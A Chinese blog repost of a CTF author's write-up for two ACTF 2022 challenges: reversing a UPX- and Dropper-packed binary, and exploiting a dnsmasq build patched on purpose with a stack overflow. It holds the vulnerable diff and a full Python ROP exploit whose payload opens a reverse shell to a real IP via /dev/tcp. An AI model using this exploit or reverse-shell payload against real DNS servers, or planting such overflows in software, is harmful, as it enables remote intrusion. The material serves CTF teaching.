热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ACTF出题(dropper+master_of_dns)

前序在xctf分站赛中出了两道题,分别是dropper和mas

前序

在xctf分站赛中出了两道题,分别是dropper和master_of_dns,两道题都偏简单一点,dropper解题31个队,master_of_dns解题三个队,可能是第二天放题的缘故。

在这里插入图片描述

出题思路

出题源码

自己的题解:https://github.com/zdy/ACTF2022-problem
官方题解:https://github.com/team-s2/ACTF-2022

dropper

使用这个工具Dropper在外面加一层壳,这个方法是绕恶意软件检测模型提出的, 使用异常处理更改代码执行路径(使用异常处理进行虚函数表hook),真实软件是c++面向对象的flag加密代码(使用了大数运算)
考点总结:upx壳+dropper+大数运算+异常处理+虚函数表hook

master_of_dns

使用dnsmasq软件,patch dns域名解析的位置,设置一个栈溢出漏洞(源码修改的非常少),因为是栈溢出,所以利用方法也很多,这里也加了些东西干扰diff
考点总结:dns协议 + dns域名指针的用处 + diff找出漏洞

题解

dropper

  • 使用upx加壳工具脱掉壳,如果不能运行,关掉文件的aslr标志位,关闭DYNAMIC_BASE
  • 通过dropper搜索相关含义,找到从资源区获取数据并加密的代码,如果可以找到https://github.com/marcusbotacin/Dropper, 那基本离解题更进一步
    • 没找到运行PE文件的函数交叉引用,猜测是使用了GetProcAddress,利用交叉引用找到对应地方
      • 静态分析找到,或者动态跟踪找到对应的数据,分析解密,写脚本将数据解密,生成真正的可执行文件
        • 这里还是比较简单的,就是做了个异或某个数字
  • 动态调试跟踪,可以跟踪到加密和验证的所有过程,并不复杂,这里只是加了反静态分析的方法,利用简单的除0进行异常捕捉进行虚函数表hook,使得静态分析失效
    • 可以输入flag后,对text区下断点,获得处理逻辑地址,在IDA中找到之后,设置断点,进行跟踪
      • 猜测生成的大数是如何存储的,动态调试找到存储数据的地址空间,并尝试将十六进制转换为十进制,可以看到十进制只以十六进制存储。
    • 根据IDA的string,发现BASE64的字符串表,根据交叉引用,找到真正的加密判断地址
  • 也可以使用动态调试,打开文件,运行到“flag:”,停止当前进程,然后附加到被创建的子进程,就可以动态调试被生成的子进程。
  • 解密代码

import base64
res = 834572051814337070469744559761199605121805728622619480039894407167152612470842477813941120780374570205930952883661000998715107231695919001238818879944773516507366865633886966330912156402063735306303966193481658066437563587241718036562480496368592194719092339868512773222711600878782903109949779245500098606570248830570792028831133949440164219842871034275938433
res = res + 57705573952449699620072104055030025886984180500734382250587152417040141679598894
res = res - 71119332457202863671922045224905384620742912949065190274173724688764272313900465
res = res + 55079029772840138145785005601340325789675668817561045403173659223377346727295749
res = res - 14385283226689171523445844388769467232023411467394422980403729848631619308579599
res = res + 80793226935699295824618519685638809874579343342564712419235587177713165502121664
res = res // 7537302706582391238853817483600228733479333152488218477840149847189049516952787
res = res - 17867047589171477574847737912328753108849304549280205992204587760361310317983607
res = res + 55440851777679184418972581091796582321001517732868509947716453414109025036506793
res = res // 11783410410469738048283152171898507679537812634841032055361622989575562121323526
res = res - 64584540291872516627894939590684951703479643371381420434698676192916126802789388
s = ''
while res:
s += chr(res % 128)
res = res // 128
print(base64.b64decode(s))

master_of_dns

  • fuzz或者diff找到漏洞,构造漏洞,只在两个地方进行了修改(改动非常小),去除了dnsmasq明显的特征,以及新增几个干扰diff的函数
    • 去掉tcp_request,关闭tcp查询,因为使用tcp协议就不用域名指针也可以触发漏洞
    • 新增栈溢出

    diff --color -Naur dnsmasq-2.86/src/dnsmasq.c dnsmasq-2.86-patch/src/dnsmasq.c
    --- dnsmasq-2.86/src/dnsmasq.c 2021-09-09 04:21:22.000000000 +0800
    +++ dnsmasq-2.86-patch/src/dnsmasq.c 2022-03-18 16:02:32.425548837 +0800
    @@ -1986,13 +1986,14 @@
    if ((flags = fcntl(confd, F_GETFL, 0)) != -1)
    fcntl(confd, F_SETFL, flags & ~O_NONBLOCK);

    - buff = tcp_request(confd, now, &tcp_addr, netmask, auth_dns);
    + //关闭tcp查询
    + //buff = tcp_request(confd, now, &tcp_addr, netmask, auth_dns);

    shutdown(confd, SHUT_RDWR);
    close(confd);

    - if (buff)
    - free(buff);
    + //if (buff)
    + //free(buff);

    for (s = daemon->servers; s; s = s->next)
    if (s->tcpfd != -1)
    diff --color -Naur dnsmasq-2.86/src/rfc1035.c dnsmasq-2.86-patch/src/rfc1035.c
    --- dnsmasq-2.86/src/rfc1035.c 2021-09-09 04:21:22.000000000 +0800
    +++ dnsmasq-2.86-patch/src/rfc1035.c 2022-03-19 16:37:28.636136647 +0800
    @@ -19,9 +19,11 @@
    int extract_name(struct dns_header *header, size_t plen, unsigned char **pp,
    char *name, int isExtract, int extrabytes)
    {
    + //这里根据exp的构造调整一下
    unsigned char *cp = (unsigned char *)name, *p = *pp, *p1 = NULL;
    - unsigned int j, l, namelen = 0, hops = 0;
    + unsigned int j, l,namelen = 0, hops = 0;
    int retvalue = 1;
    + unsigned char vul[848];

    if (isExtract)
    *cp = 0;
    @@ -54,6 +56,7 @@
    else
    *pp = p;

    + memcpy(vul, name, namelen);
    return retvalue;
    }

  • 根据漏洞构造poc,利用域名指针构造长度大于848长度的域名触发漏洞
    • 多次利用域名指针
  • 栈溢出漏洞,使用popen函数执行反弹shel
    • 这里并不是任意长度溢出(点之间最大长度为0x3f),而且域名内不能有\x00和\x2e,最大溢出长度为123个字节
    • 一些利用方法的限制
      • mprotect打开可执行权限,写入shellcode,显然溢出长度不够支撑做这些
      • orw出flag,参数里会出现\x00字节,也不可行
      • 使用execl函数反弹shell,但是最后一个必须是\x00,除非正好栈布局最后一个是\x00,也可以使用int 80来实现,可能123个字节有点不够用
    • 预期利用方式
      • 使用popen函数进行反弹shell,这里只需要两个参数,一个要执行的命令,另一个是操作类型,读或者写,类似popen(char *cmd, char *type)
        • 因为溢出长度的限制,我们添加了几个gadget方便能够达到要求,也考察选手使用gadget的能力
        • 添加一个gadget用来往某个地址写入值,还加了个异或,避免出现\x2e

          add eax, 4
          pop edx
          xor edx, 0xffffffff
          mov dword ptr [eax], edx
          ret

        • 因为123字节中间会有一个\x2e字节干扰,所以添加一个地址最后一个字节为\x2e的无用gadget

          nop
          ret

        • 上面两个gadget都可以使用ropper或者ROPgadget搜索到
    • 当然这个题也比较开放,可以有多种的getshell方式(大佬说不定会有其他更好的利用方法),目前有一个:https://xuanxuanblingbling.github.io/ctf/pwn/2022/06/29/dns/
  • 利用代码:

import socket
import os
import argparse
import random
import string
from pwn import *
context.arch='i386' #指定架构,不然会报错
# 无需connect服务端,因为发送时候跟上服务端ip和port就行
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
def genRandom(num, slen):
unique_strings = []
while len(unique_strings) < num:
ustring = ''.join(random.choice(string.ascii_lowercase + string.ascii_lowercase + string.digits) for i in range(slen))
if ustring not in unique_strings:
unique_strings.append(ustring)
return unique_strings
def dnsquery(ip, port):
query = os.urandom(2)
query += b'\x01\x00' # Flags: query + Truncated + Recursion Desired + Recursion Available
query += b'\x00\x01' # Questions
query += b'\x00\x00' # Answer RRs
query += b'\x00\x00' # Authority RRs
query += b'\x00\x00'# Additional RRs
# Queries
payload = b'\x3f' * 0x40
for i in range(13):
payload += b'\xc0'
payload += bytes([0xe + i * 2])
payload += b'\x3d'
payload += b'\x41\x41\x41\x41\x41'
popen_addr = 0x804ab40
exit_addr = 0x804ad30
nop_2e_addr = 0x0804A92E
pop_eax_addr = 0x08059d44
w_str_addr = 0x080A6660
update_addr = 0x0804B2B1
bss_addr = 0x80a7070
shell = b'/bin/sh -i >& /dev/tcp/59.63.224.105/9 0>&1'.ljust(44, b'\x00')
value = []
for i in range(0, len(shell), 4):
value.append(u32(shell[i:(i + 4)]))
print(len(value))
payload += flat([pop_eax_addr, bss_addr])
for i in range(6):
payload += flat([update_addr, value[i] ^ 0xffffffff])
payload += b'\x3f'
payload += b'\xa9\x04\x08'
for i in range(6, 11):
payload += flat([update_addr, value[i] ^ 0xffffffff])
payload += flat([popen_addr, exit_addr, bss_addr + 0x4, w_str_addr])
payload += b'\x41\x41\x41\x41'
payload += b'\x00'
print(payload)
query += payload # Name
query += b'\x00\x01' # Type: NS
query += b'\x00\x01'# Class: IN
client.sendto(query, (ip, int(port)))
data, server_addr = client.recvfrom(1024)
print(data)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('-ip', help='ip address', required=True)
parser.add_argument('-port', help='port', required=True)
args = parser.parse_args()

ip = args.ip
port = args.port
dnsquery(ip, port)
if __name__ == '__main__':
main()
总结

此次出题花费了两周时间,从出题的角度感受了下,最后大家做的时候,感觉还是不错的,达到预期了吧,dropper没有被很多人解出来,也起到了签到的目的。


推荐阅读
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文介绍了在MFC下利用C++和MFC的特性动态创建窗口的方法,包括继承现有的MFC类并加以改造、插入工具栏和状态栏对象的声明等。同时还提到了窗口销毁的处理方法。本文详细介绍了实现方法并给出了相关注意事项。 ... [详细]
  • python实现内容写在图片上的方法
    这篇文章主要介绍python实现内容写在图片上的方法,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!具体代码内容如下:#-*-co ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • Linux重启网络命令实例及关机和重启示例教程
    本文介绍了Linux系统中重启网络命令的实例,以及使用不同方式关机和重启系统的示例教程。包括使用图形界面和控制台访问系统的方法,以及使用shutdown命令进行系统关机和重启的句法和用法。 ... [详细]
  • 本文介绍了C#中生成随机数的三种方法,并分析了其中存在的问题。首先介绍了使用Random类生成随机数的默认方法,但在高并发情况下可能会出现重复的情况。接着通过循环生成了一系列随机数,进一步突显了这个问题。文章指出,随机数生成在任何编程语言中都是必备的功能,但Random类生成的随机数并不可靠。最后,提出了需要寻找其他可靠的随机数生成方法的建议。 ... [详细]
  • [译]技术公司十年经验的职场生涯回顾
    本文是一位在技术公司工作十年的职场人士对自己职业生涯的总结回顾。她的职业规划与众不同,令人深思又有趣。其中涉及到的内容有机器学习、创新创业以及引用了女性主义者在TED演讲中的部分讲义。文章表达了对职业生涯的愿望和希望,认为人类有能力不断改善自己。 ... [详细]
  • 本文介绍了使用PHP实现断点续传乱序合并文件的方法和源码。由于网络原因,文件需要分割成多个部分发送,因此无法按顺序接收。文章中提供了merge2.php的源码,通过使用shuffle函数打乱文件读取顺序,实现了乱序合并文件的功能。同时,还介绍了filesize、glob、unlink、fopen等相关函数的使用。阅读本文可以了解如何使用PHP实现断点续传乱序合并文件的具体步骤。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 本文介绍了南邮ctf-web的writeup,包括签到题和md5 collision。在CTF比赛和渗透测试中,可以通过查看源代码、代码注释、页面隐藏元素、超链接和HTTP响应头部来寻找flag或提示信息。利用PHP弱类型,可以发现md5('QNKCDZO')='0e830400451993494058024219903391'和md5('240610708')='0e462097431906509019562988736854'。 ... [详细]
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
  • 超级简单加解密工具的方案和功能
    本文介绍了一个超级简单的加解密工具的方案和功能。该工具可以读取文件头,并根据特定长度进行加密,加密后将加密部分写入源文件。同时,该工具也支持解密操作。加密和解密过程是可逆的。本文还提到了一些相关的功能和使用方法,并给出了Python代码示例。 ... [详细]
  • 技术分享:如何在没有公钥的情况下实现JWT密钥滥用
      ... [详细]
author-avatar
旺小旺大_693
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有